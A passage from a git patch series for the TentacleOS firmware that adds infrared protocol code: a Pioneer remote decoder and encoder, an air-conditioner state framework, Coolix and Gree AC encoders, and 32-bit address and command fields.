Pioneer one-bit space duration in microseconds. */ +#define PIONEER_ONE_SPACE 1500 + +/** @brief Pioneer zero-bit space duration in microseconds. */ +#define PIONEER_ZERO_SPACE 500 + +/** @brief Number of data bits in a Pioneer frame (NEC-style addr/~addr/cmd/~cmd). */ +#define PIONEER_FRAME_BITS 32 + +/** @brief Minimum number of RMT symbols for a valid Pioneer frame. */ +#define PIONEER_MIN_SYMBOLS 34 + +/** @brief Bit position of the inverted address field in the Pioneer frame word. */ +#define PIONEER_ADDR_INV_SHIFT 8 + +/** @brief Bit position of the command field in the Pioneer frame word. */ +#define PIONEER_CMD_SHIFT 16 + +/** @brief Bit position of the inverted command field in the Pioneer frame word. */ +#define PIONEER_CMD_INV_SHIFT 24 + +/** @brief XOR result expected when a byte and its complement are combined. */ +#define PIONEER_INTEGRITY_MASK 0xFF + +/** @brief Maximum address value for a standard Pioneer frame (8-bit device). */ +#define PIONEER_ADDR_STANDARD_MAX 0xFF + +/** @brief Bit mask for the 16-bit extended address field in a Pioneer frame. */ +#define PIONEER_EXT_ADDR_MASK 0xFFFF + +/** + * @brief Decode a Pioneer IR frame from RMT symbols. + * + * Pioneer shares NEC-style framing but uses a distinct preamble (8500/4225 vs + * NEC 9000/4500). It is decoded before NEC using a strict preamble tolerance so + * genuine Pioneer frames are separated from NEC. Frames whose timing falls in + * the narrow overlap band between the two remain inherently ambiguous. + * + * @param[in] symbols RMT symbol buffer. Must not be NULL. + * @param[in] count Number of symbols. Must be greater than 0. + * @param[out] out_data Destination for decoded data. Must not be NULL. + * + * @return true if a valid Pioneer frame was decoded, false otherwise. + */ +bool ir_protocol_pioneer_decode(const rmt_symbol_word_t *symbols, + size_t count, + ir_data_t *out_data); + +/** + * @brief Encode a Pioneer IR command into RMT symbols. + * + * Uses the Pioneer 40 kHz timing and appends inverted address and command + * bytes for integrity. + * + * @param[in] data IR command to encode. Must not be NULL. + * @param[out] symbols Destination buffer. Must not be NULL. + * @param[in] max Capacity of @p symbols in symbols. + * + * @return Number of symbols written, or 0 on failure. + */ +size_t ir_protocol_pioneer_encode(const ir_data_t *data, rmt_symbol_word_t *symbols, size_t max); + +#ifdef __cplusplus +} +#endif + +#endif // IR_PROTOCOL_PIONEER_H diff --git a/firmware_p4/components/Service/ir/ir_protocol_pioneer.c b/firmware_p4/components/Service/ir/ir_protocol_pioneer.c new file mode 100644 index 000000000..b9908839b --- /dev/null +++ b/firmware_p4/components/Service/ir/ir_protocol_pioneer.c @@ -0,0 +1,83 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ir_protocol_pioneer.h" + +#include "ir_protocol.h" + +bool ir_protocol_pioneer_decode(const rmt_symbol_word_t *symbols, + size_t count, + ir_data_t *out_data) { + if (symbols == NULL || count == 0 || out_data == NULL) + return false; + + if (count < PIONEER_MIN_SYMBOLS) + return false; + if (!ir_match_tol(symbols[0].duration0, PIONEER_HEADER_MARK, IR_TOLERANCE_STRICT) || + !ir_match_tol(symbols[0].duration1, PIONEER_HEADER_SPACE, IR_TOLERANCE_STRICT)) + return false; + + ir_pulse_distance_cfg_t cfg = { + .one_space = PIONEER_ONE_SPACE, + .zero_space = PIONEER_ZERO_SPACE, + .msb_first = false, + }; + uint32_t raw = (uint32_t)ir_decode_pulse_distance(symbols, 1, PIONEER_FRAME_BITS, &cfg); + + uint8_t addr = (raw >> 0) & PIONEER_ADDR_STANDARD_MAX; + uint8_t addr_inv = (raw >> PIONEER_ADDR_INV_SHIFT) & PIONEER_ADDR_STANDARD_MAX; + uint8_t cmd = (raw >> PIONEER_CMD_SHIFT) & PIONEER_ADDR_STANDARD_MAX; + uint8_t cmd_inv = (raw >> PIONEER_CMD_INV_SHIFT) & PIONEER_ADDR_STANDARD_MAX; + + if ((uint8_t)(cmd ^ cmd_inv) != PIONEER_INTEGRITY_MASK) + return false; + + out_data->protocol = IR_PROTO_PIONEER; + out_data->command = cmd; + out_data->repeat = false; + out_data->address = + ((uint8_t)(addr ^ addr_inv) == PIONEER_INTEGRITY_MASK) ? addr : (raw & PIONEER_EXT_ADDR_MASK); + return true; +} + +size_t ir_protocol_pioneer_encode(const ir_data_t *data, rmt_symbol_word_t *symbols, size_t max) { + if (data == NULL || symbols == NULL || max == 0) + return 0; + + uint8_t cmd = data->command & PIONEER_ADDR_STANDARD_MAX; + uint32_t raw; + + if (data->address <= PIONEER_ADDR_STANDARD_MAX) { + uint8_t addr = data->address & PIONEER_ADDR_STANDARD_MAX; + raw = addr | ((uint32_t)(~addr & PIONEER_INTEGRITY_MASK) << PIONEER_ADDR_INV_SHIFT) | + ((uint32_t)cmd << PIONEER_CMD_SHIFT) | + ((uint32_t)(~cmd & PIONEER_INTEGRITY_MASK) << PIONEER_CMD_INV_SHIFT); + } else { + raw = (data->address & PIONEER_EXT_ADDR_MASK) | ((uint32_t)cmd << PIONEER_CMD_SHIFT) | + ((uint32_t)(~cmd & PIONEER_INTEGRITY_MASK) << PIONEER_CMD_INV_SHIFT); + } + + ir_encode_distance_cfg_t cfg = { + .header_mark = PIONEER_HEADER_MARK, + .header_space = PIONEER_HEADER_SPACE, + .bit_mark = PIONEER_BIT_MARK, + .one_space = PIONEER_ONE_SPACE, + .zero_space = PIONEER_ZERO_SPACE, + .max = max, + .msb_first = false, + .stop_bit = true, + }; + return ir_encode_pulse_distance(symbols, raw, PIONEER_FRAME_BITS, &cfg); +} From d01a9fb6b0fc5657a9a5c4a1c01566024a593dc4 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 21:37:33 -0300 Subject: [PATCH 006/572] feat(ir): air-conditioner protocol framework --- .../components/Service/ir/include/ir_ac.h | 120 ++++++++++++++++++ firmware_p4/components/Service/ir/ir_ac.c | 73 +++++++++++ 2 files changed, 193 insertions(+) create mode 100644 firmware_p4/components/Service/ir/include/ir_ac.h create mode 100644 firmware_p4/components/Service/ir/ir_ac.c diff --git a/firmware_p4/components/Service/ir/include/ir_ac.h b/firmware_p4/components/Service/ir/include/ir_ac.h new file mode 100644 index 000000000..bc9ea6f45 --- /dev/null +++ b/firmware_p4/components/Service/ir/include/ir_ac.h @@ -0,0 +1,120 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef IR_AC_H +#define IR_AC_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include + +#include "esp_err.h" +#include "driver/rmt_types.h" + +/** + * @brief Supported air-conditioner protocols. + * + * Unlike remote-control protocols, each AC frame carries the full appliance + * state (power, mode, temperature, fan) rather than a single command. + */ +typedef enum { + IR_AC_PROTO_UNKNOWN = 0, + IR_AC_PROTO_COOLIX, + IR_AC_PROTO_GREE, + IR_AC_PROTO_COUNT, +} ir_ac_protocol_t; + +/** @brief Operating mode. */ +typedef enum { + IR_AC_MODE_AUTO = 0, + IR_AC_MODE_COOL, + IR_AC_MODE_DRY, + IR_AC_MODE_HEAT, + IR_AC_MODE_FAN, +} ir_ac_mode_t; + +/** @brief Fan speed. */ +typedef enum { + IR_AC_FAN_AUTO = 0, + IR_AC_FAN_LOW, + IR_AC_FAN_MED, + IR_AC_FAN_HIGH, +} ir_ac_fan_t; + +/** + * @brief Full air-conditioner state encoded into a single IR frame. + * + * temp_c is clamped to the target protocol's supported range during encoding. + */ +typedef struct { + ir_ac_protocol_t protocol; + bool power; + ir_ac_mode_t mode; + uint8_t temp_c; + ir_ac_fan_t fan; +} ir_ac_state_t; + +/** + * @brief Get the display name of an AC protocol. + * + * @param[in] proto Protocol identifier. + * + * @return Null-terminated string name, or "UNKNOWN" for unrecognized values. + */ +const char *ir_ac_protocol_name(ir_ac_protocol_t proto); + +/** + * @brief Get the carrier frequency for an AC protocol. + * + * @param[in] proto Protocol identifier. + * + * @return Carrier frequency in Hz. + */ +uint32_t ir_ac_carrier_freq(ir_ac_protocol_t proto); + +/** + * @brief Encode an AC state into RMT symbols. + * + * @param[in] state AC state to encode. Must not be NULL. + * @param[out] symbols Destination buffer. Must not be NULL. + * @param[in] max Capacity of @p symbols in symbols. + * + * @return Number of symbols written, or 0 on failure. + */ +size_t ir_ac_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max); + +/** + * @brief Encode and transmit an AC state over IR. + * + * Requires ir_tx_init() to have been called. + * + * @param[in] state AC state to transmit. Must not be NULL. + * + * @return + * - ESP_OK on success + * - ESP_ERR_INVALID_ARG if encoding produces no symbols + * - Other ESP_ERR codes from the IR driver + */ +esp_err_t ir_ac_send(const ir_ac_state_t *state); + +#ifdef __cplusplus +} +#endif + +#endif // IR_AC_H diff --git a/firmware_p4/components/Service/ir/ir_ac.c b/firmware_p4/components/Service/ir/ir_ac.c new file mode 100644 index 000000000..004d8f8de --- /dev/null +++ b/firmware_p4/components/Service/ir/ir_ac.c @@ -0,0 +1,73 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ir_ac.h" + +#include "esp_log.h" + +#include "ir.h" +#include "ir_ac_coolix.h" +#include "ir_ac_gree.h" + +static const char *TAG = "IR_AC"; + +const char *ir_ac_protocol_name(ir_ac_protocol_t proto) { + switch (proto) { + case IR_AC_PROTO_COOLIX: + return "COOLIX"; + case IR_AC_PROTO_GREE: + return "GREE"; + default: + return "UNKNOWN"; + } +} + +uint32_t ir_ac_carrier_freq(ir_ac_protocol_t proto) { + switch (proto) { + case IR_AC_PROTO_COOLIX: + return COOLIX_CARRIER_HZ; + case IR_AC_PROTO_GREE: + return GREE_CARRIER_HZ; + default: + return COOLIX_CARRIER_HZ; + } +} + +size_t ir_ac_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max) { + if (state == NULL || symbols == NULL || max == 0) + return 0; + + switch (state->protocol) { + case IR_AC_PROTO_COOLIX: + return ir_ac_coolix_encode(state, symbols, max); + case IR_AC_PROTO_GREE: + return ir_ac_gree_encode(state, symbols, max); + default: + ESP_LOGW(TAG, "Encode called with unknown AC protocol: %d", (int)state->protocol); + return 0; + } +} + +esp_err_t ir_ac_send(const ir_ac_state_t *state) { + if (state == NULL) + return ESP_ERR_INVALID_ARG; + + rmt_symbol_word_t symbols[IR_RMT_MEM_SYMBOLS]; + size_t count = ir_ac_encode(state, symbols, IR_RMT_MEM_SYMBOLS); + if (count == 0) + return ESP_ERR_INVALID_ARG; + + return ir_send_raw(symbols, count, ir_ac_carrier_freq(state->protocol)); +} From 7d83a95e5a56868651c620a4b85b2a35f76ea704 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 21:40:07 -0300 Subject: [PATCH 007/572] feat(ir): new protocol Coolix AC --- .../Service/ir/include/ir_ac_coolix.h | 61 ++++++++ .../components/Service/ir/ir_ac_coolix.c | 134 ++++++++++++++++++ 2 files changed, 195 insertions(+) create mode 100644 firmware_p4/components/Service/ir/include/ir_ac_coolix.h create mode 100644 firmware_p4/components/Service/ir/ir_ac_coolix.c diff --git a/firmware_p4/components/Service/ir/include/ir_ac_coolix.h b/firmware_p4/components/Service/ir/include/ir_ac_coolix.h new file mode 100644 index 000000000..430673614 --- /dev/null +++ b/firmware_p4/components/Service/ir/include/ir_ac_coolix.h @@ -0,0 +1,61 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef IR_AC_COOLIX_H +#define IR_AC_COOLIX_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "ir_ac.h" + +/** @brief Coolix carrier frequency in Hz. */ +#define COOLIX_CARRIER_HZ 38000 + +/** @brief Coolix header mark duration in microseconds. */ +#define COOLIX_HDR_MARK 4692 + +/** @brief Coolix header space duration in microseconds. */ +#define COOLIX_HDR_SPACE 4416 + +/** @brief Coolix bit mark duration in microseconds. */ +#define COOLIX_BIT_MARK 552 + +/** @brief Coolix one-bit space duration in microseconds. */ +#define COOLIX_ONE_SPACE 1656 + +/** @brief Coolix zero-bit space duration in microseconds. */ +#define COOLIX_ZERO_SPACE 552 + +/** + * @brief Encode a Coolix AC state into RMT symbols. + * + * The 24-bit state is transmitted MSB-first as three bytes, each byte followed + * by its bitwise complement. + * + * @param[in] state AC state to encode. Must not be NULL. + * @param[out] symbols Destination buffer. Must not be NULL. + * @param[in] max Capacity of @p symbols in symbols. + * + * @return Number of symbols written, or 0 on failure. + */ +size_t ir_ac_coolix_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max); + +#ifdef __cplusplus +} +#endif + +#endif // IR_AC_COOLIX_H diff --git a/firmware_p4/components/Service/ir/ir_ac_coolix.c b/firmware_p4/components/Service/ir/ir_ac_coolix.c new file mode 100644 index 000000000..1cb81764d --- /dev/null +++ b/firmware_p4/components/Service/ir/ir_ac_coolix.c @@ -0,0 +1,134 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ir_ac_coolix.h" + +#include "ir_protocol.h" + +#define COOLIX_DEFAULT_STATE 0xB21FC8u +#define COOLIX_OFF_STATE 0xB27BE0u + +#define COOLIX_MODE_SHIFT 2 +#define COOLIX_MODE_MASK 0x3u +#define COOLIX_TEMP_SHIFT 4 +#define COOLIX_TEMP_MASK 0xFu +#define COOLIX_FAN_SHIFT 13 +#define COOLIX_FAN_MASK 0x7u + +#define COOLIX_MODE_COOL 0x0 +#define COOLIX_MODE_DRY 0x1 +#define COOLIX_MODE_AUTO 0x2 +#define COOLIX_MODE_HEAT 0x3 + +#define COOLIX_FAN_AUTO 0x5 +#define COOLIX_FAN_AUTO0 0x0 +#define COOLIX_FAN_MIN 0x4 +#define COOLIX_FAN_MED 0x2 +#define COOLIX_FAN_MAX 0x1 + +#define COOLIX_TEMP_MIN 17 +#define COOLIX_TEMP_MAX 30 +#define COOLIX_FAN_TEMP_CODE 0xEu + +#define COOLIX_WIRE_BITS 48 + +static const uint8_t COOLIX_TEMP_MAP[] = { + 0x0, 0x1, 0x3, 0x2, 0x6, 0x7, 0x5, 0x4, 0xC, 0xD, 0x9, 0x8, 0xA, 0xB}; +#define COOLIX_TEMP_MAP_COUNT (sizeof(COOLIX_TEMP_MAP) / sizeof(COOLIX_TEMP_MAP[0])) + +size_t ir_ac_coolix_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max) { + if (state == NULL || symbols == NULL || max == 0) + return 0; + + uint32_t raw; + if (!state->power) { + raw = COOLIX_OFF_STATE; + } else { + raw = COOLIX_DEFAULT_STATE; + + bool is_fan_only = false; + uint8_t mode_code; + switch (state->mode) { + case IR_AC_MODE_COOL: + mode_code = COOLIX_MODE_COOL; + break; + case IR_AC_MODE_DRY: + mode_code = COOLIX_MODE_DRY; + break; + case IR_AC_MODE_HEAT: + mode_code = COOLIX_MODE_HEAT; + break; + case IR_AC_MODE_FAN: + mode_code = COOLIX_MODE_DRY; + is_fan_only = true; + break; + case IR_AC_MODE_AUTO: + default: + mode_code = COOLIX_MODE_AUTO; + break; + } + raw = (raw & ~(COOLIX_MODE_MASK << COOLIX_MODE_SHIFT)) | + ((uint32_t)mode_code << COOLIX_MODE_SHIFT); + + uint8_t temp = state->temp_c; + if (temp < COOLIX_TEMP_MIN) + temp = COOLIX_TEMP_MIN; + if (temp > COOLIX_TEMP_MAX) + temp = COOLIX_TEMP_MAX; + uint8_t temp_code = + is_fan_only ? COOLIX_FAN_TEMP_CODE : COOLIX_TEMP_MAP[temp - COOLIX_TEMP_MIN]; + raw = (raw & ~(COOLIX_TEMP_MASK << COOLIX_TEMP_SHIFT)) | + ((uint32_t)temp_code << COOLIX_TEMP_SHIFT); + + uint8_t fan_code; + switch (state->fan) { + case IR_AC_FAN_LOW: + fan_code = COOLIX_FAN_MIN; + break; + case IR_AC_FAN_MED: + fan_code = COOLIX_FAN_MED; + break; + case IR_AC_FAN_HIGH: + fan_code = COOLIX_FAN_MAX; + break; + case IR_AC_FAN_AUTO: + default: + fan_code = (state->mode == IR_AC_MODE_AUTO || state->mode == IR_AC_MODE_DRY) + ? COOLIX_FAN_AUTO0 + : COOLIX_FAN_AUTO; + break; + } + raw = (raw & ~(COOLIX_FAN_MASK << COOLIX_FAN_SHIFT)) | ((uint32_t)fan_code << COOLIX_FAN_SHIFT); + } + + uint64_t wire = 0; + for (int i = 2; i >= 0; i--) { + uint8_t byte = (raw >> (i * 8)) & 0xFF; + wire = (wire << 8) | byte; + wire = (wire << 8) | (uint8_t)(~byte); + } + + ir_encode_distance_cfg_t cfg = { + .header_mark = COOLIX_HDR_MARK, + .header_space = COOLIX_HDR_SPACE, + .bit_mark = COOLIX_BIT_MARK, + .one_space = COOLIX_ONE_SPACE, + .zero_space = COOLIX_ZERO_SPACE, + .max = max, + .msb_first = true, + .stop_bit = true, + }; + return ir_encode_pulse_distance(symbols, wire, COOLIX_WIRE_BITS, &cfg); +} From a844fbb166ac58beedd37d752865ed7393939ce1 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 21:40:24 -0300 Subject: [PATCH 008/572] feat(ir): new protocol Gree AC --- .../Service/ir/include/ir_ac_gree.h | 73 +++++++++ .../components/Service/ir/ir_ac_gree.c | 155 ++++++++++++++++++ 2 files changed, 228 insertions(+) create mode 100644 firmware_p4/components/Service/ir/include/ir_ac_gree.h create mode 100644 firmware_p4/components/Service/ir/ir_ac_gree.c diff --git a/firmware_p4/components/Service/ir/include/ir_ac_gree.h b/firmware_p4/components/Service/ir/include/ir_ac_gree.h new file mode 100644 index 000000000..dd379cb91 --- /dev/null +++ b/firmware_p4/components/Service/ir/include/ir_ac_gree.h @@ -0,0 +1,73 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef IR_AC_GREE_H +#define IR_AC_GREE_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "ir_ac.h" + +/** @brief Gree carrier frequency in Hz. */ +#define GREE_CARRIER_HZ 38000 + +/** @brief Gree header mark duration in microseconds. */ +#define GREE_HDR_MARK 9000 + +/** @brief Gree header space duration in microseconds. */ +#define GREE_HDR_SPACE 4500 + +/** @brief Gree bit mark duration in microseconds. */ +#define GREE_BIT_MARK 620 + +/** @brief Gree one-bit space duration in microseconds. */ +#define GREE_ONE_SPACE 1600 + +/** @brief Gree zero-bit space duration in microseconds. */ +#define GREE_ZERO_SPACE 540 + +/** @brief Gree gap between the two 32-bit blocks, in microseconds. */ +#define GREE_MSG_SPACE 19000 + +/** @brief Number of state bytes in a Gree frame. */ +#define GREE_STATE_LEN 8 + +/** @brief 3-bit block separator transmitted between the two halves. */ +#define GREE_BLOCK_FOOTER 0b010 + +/** @brief Number of bits in the block separator. */ +#define GREE_BLOCK_FOOTER_BITS 3 + +/** + * @brief Encode a Gree AC state into RMT symbols. + * + * Builds the 8-byte state, computes the Kelvinator block checksum, and emits + * two 32-bit blocks separated by a 3-bit footer and a long gap. + * + * @param[in] state AC state to encode. Must not be NULL. + * @param[out] symbols Destination buffer. Must not be NULL. + * @param[in] max Capacity of @p symbols in symbols. + * + * @return Number of symbols written, or 0 on failure. + */ +size_t ir_ac_gree_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max); + +#ifdef __cplusplus +} +#endif + +#endif // IR_AC_GREE_H diff --git a/firmware_p4/components/Service/ir/ir_ac_gree.c b/firmware_p4/components/Service/ir/ir_ac_gree.c new file mode 100644 index 000000000..6370490a5 --- /dev/null +++ b/firmware_p4/components/Service/ir/ir_ac_gree.c @@ -0,0 +1,155 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ir_ac_gree.h" + +#include "ir_protocol.h" + +#define GREE_MODE_AUTO 0 +#define GREE_MODE_COOL 1 +#define GREE_MODE_DRY 2 +#define GREE_MODE_FAN 3 +#define GREE_MODE_HEAT 4 + +#define GREE_FAN_AUTO 0 +#define GREE_FAN_MIN 1 +#define GREE_FAN_MED 2 +#define GREE_FAN_MAX 3 + +#define GREE_TEMP_MIN 16 +#define GREE_TEMP_MAX 30 +#define GREE_AUTO_TEMP 25 + +#define GREE_CHECKSUM_START 10 +#define GREE_BLOCK_BITS 32 + +static size_t append_footer(rmt_symbol_word_t *symbols, size_t idx, size_t max) { + if (idx + 1 > max) + return 0; + symbols[idx].duration0 = GREE_BIT_MARK; + symbols[idx].level0 = 1; + symbols[idx].duration1 = GREE_MSG_SPACE; + symbols[idx].level1 = 0; + return idx + 1; +} + +size_t ir_ac_gree_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max) { + if (state == NULL || symbols == NULL || max == 0) + return 0; + + uint8_t state_bytes[GREE_STATE_LEN] = {0x00, 0x09, 0x20, 0x50, 0x00, 0x20, 0x00, 0x00}; + + uint8_t mode_code; + switch (state->mode) { + case IR_AC_MODE_COOL: + mode_code = GREE_MODE_COOL; + break; + case IR_AC_MODE_DRY: + mode_code = GREE_MODE_DRY; + break; + case IR_AC_MODE_HEAT: + mode_code = GREE_MODE_HEAT; + break; + case IR_AC_MODE_FAN: + mode_code = GREE_MODE_FAN; + break; + case IR_AC_MODE_AUTO: + default: + mode_code = GREE_MODE_AUTO; + break; + } + + uint8_t fan_code; + switch (state->fan) { + case IR_AC_FAN_LOW: + fan_code = GREE_FAN_MIN; + break; + case IR_AC_FAN_MED: + fan_code = GREE_FAN_MED; + break; + case IR_AC_FAN_HIGH: + fan_code = GREE_FAN_MAX; + break; + case IR_AC_FAN_AUTO: + default: + fan_code = GREE_FAN_AUTO; + break; + } + if (state->mode == IR_AC_MODE_DRY) + fan_code = GREE_FAN_MIN; + + uint8_t temp = (state->mode == IR_AC_MODE_AUTO) ? GREE_AUTO_TEMP : state->temp_c; + if (temp < GREE_TEMP_MIN) + temp = GREE_TEMP_MIN; + if (temp > GREE_TEMP_MAX) + temp = GREE_TEMP_MAX; + + state_bytes[0] = (mode_code & 0x7) | ((state->power ? 1u : 0u) << 3) | ((fan_code & 0x3) << 4); + state_bytes[1] = (state_bytes[1] & 0xF0) | ((uint8_t)(temp - GREE_TEMP_MIN) & 0x0F); + + uint8_t sum = GREE_CHECKSUM_START; + for (size_t i = 0; i < 4; i++) + sum += state_bytes[i] & 0x0F; + for (size_t i = 4; i < GREE_STATE_LEN - 1; i++) + sum += state_bytes[i] >> 4; + sum &= 0x0F; + state_bytes[GREE_STATE_LEN - 1] = (state_bytes[GREE_STATE_LEN - 1] & 0x0F) | (uint8_t)(sum << 4); + + uint32_t block1 = (uint32_t)state_bytes[0] | ((uint32_t)state_bytes[1] << 8) | + ((uint32_t)state_bytes[2] << 16) | ((uint32_t)state_bytes[3] << 24); + uint32_t block2 = (uint32_t)state_bytes[4] | ((uint32_t)state_bytes[5] << 8) | + ((uint32_t)state_bytes[6] << 16) | ((uint32_t)state_bytes[7] << 24); + + ir_encode_distance_cfg_t cfg = { + .header_mark = GREE_HDR_MARK, + .header_space = GREE_HDR_SPACE, + .bit_mark = GREE_BIT_MARK, + .one_space = GREE_ONE_SPACE, + .zero_space = GREE_ZERO_SPACE, + .max = max, + .msb_first = false, + .stop_bit = false, + }; + + size_t idx = 0; + size_t n = ir_encode_pulse_distance(symbols, block1, GREE_BLOCK_BITS, &cfg); + if (n == 0) + return 0; + idx += n; + + cfg.header_mark = 0; + cfg.header_space = 0; + cfg.max = max - idx; + n = ir_encode_pulse_distance(symbols + idx, GREE_BLOCK_FOOTER, GREE_BLOCK_FOOTER_BITS, &cfg); + if (n == 0) + return 0; + idx += n; + + idx = append_footer(symbols, idx, max); + if (idx == 0) + return 0; + + cfg.max = max - idx; + n = ir_encode_pulse_distance(symbols + idx, block2, GREE_BLOCK_BITS, &cfg); + if (n == 0) + return 0; + idx += n; + + idx = append_footer(symbols, idx, max); + if (idx == 0) + return 0; + + return idx; +} From 1462d259eb06278f718838d10237483c491c04b9 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 1 Jun 2026 21:44:02 -0300 Subject: [PATCH 009/572] feat(ir): widen ir_data_t address/command to 32bit --- .../Service/ir/include/ir_protocol.h | 27 +++++++++++++++++-- firmware_p4/components/Service/ir/ir.c | 14 +++++++--- firmware_p4/components/Service/ir/ir_file.c | 27 ++++++++++++++++--- 3 files changed, 59 insertions(+), 9 deletions(-) diff --git a/firmware_p4/components/Service/ir/include/ir_protocol.h b/firmware_p4/components/Service/ir/include/ir_protocol.h index a47084309..0fa22a285 100644 --- a/firmware_p4/components/Service/ir/include/ir_protocol.h +++ b/firmware_p4/components/Service/ir/include/ir_protocol.h @@ -29,6 +29,12 @@ extern "C" { /** @brief Tolerance window for pulse matching, in percent. */ #define IR_TOLERANCE 25 +/** + * @brief Tight tolerance, in percent, for disambiguating protocols whose + * preambles are close together (e.g. Pioneer 8500/4225 vs NEC 9000/4500). + */ +#define IR_TOLERANCE_STRICT 6 + /** @brief Default carrier frequency in Hz (NEC, Samsung, LG, JVC, Denon). */ #define IR_CARRIER_HZ_DEFAULT 38000 @@ -41,6 +47,9 @@ extern "C" { /** @brief Carrier frequency in Hz for Panasonic. */ #define IR_CARRIER_HZ_PANASONIC 37000 +/** @brief Carrier frequency in Hz for Pioneer. */ +#define IR_CARRIER_HZ_PIONEER 40000 + /** * @brief Supported IR protocols. */ @@ -55,6 +64,8 @@ typedef enum { IR_PROTO_JVC, IR_PROTO_DENON, IR_PROTO_PANASONIC, + IR_PROTO_RCA, + IR_PROTO_PIONEER, IR_PROTO_COUNT, } ir_protocol_t; @@ -63,8 +74,8 @@ typedef enum { */ typedef struct { ir_protocol_t protocol; - uint16_t address; - uint16_t command; + uint32_t address; + uint32_t command; bool repeat; } ir_data_t; @@ -124,6 +135,18 @@ typedef struct { */ bool ir_match(uint32_t measured_us, uint32_t expected_us); +/** + * @brief Check if a measured pulse duration matches an expected value within a + * caller-supplied tolerance. + * + * @param[in] measured_us Measured duration in microseconds. + * @param[in] expected_us Expected duration in microseconds. + * @param[in] tol_percent Tolerance window, in percent. + * + * @return true if within @p tol_percent of expected, false otherwise. + */ +bool ir_match_tol(uint32_t measured_us, uint32_t expected_us, uint32_t tol_percent); + /** * @brief Get the display name of a protocol. * diff --git a/firmware_p4/components/Service/ir/ir.c b/firmware_p4/components/Service/ir/ir.c index 94ed7a14b..0de6e47d9 100644 --- a/firmware_p4/components/Service/ir/ir.c +++ b/firmware_p4/components/Service/ir/ir.c @@ -107,6 +107,14 @@ esp_err_t ir_tx_init(void) { if (s_is_tx_inited) return ESP_OK; + if (s_mutex == NULL) { + s_mutex = xSemaphoreCreateMutex(); + if (s_mutex == NULL) { + ESP_LOGE(TAG, "Failed to create mutex"); + return ESP_ERR_NO_MEM; + } + } + rmt_tx_channel_config_t cfg = { .clk_src = RMT_CLK_SRC_DEFAULT, .gpio_num = GPIO_IR_TX_PIN, @@ -224,10 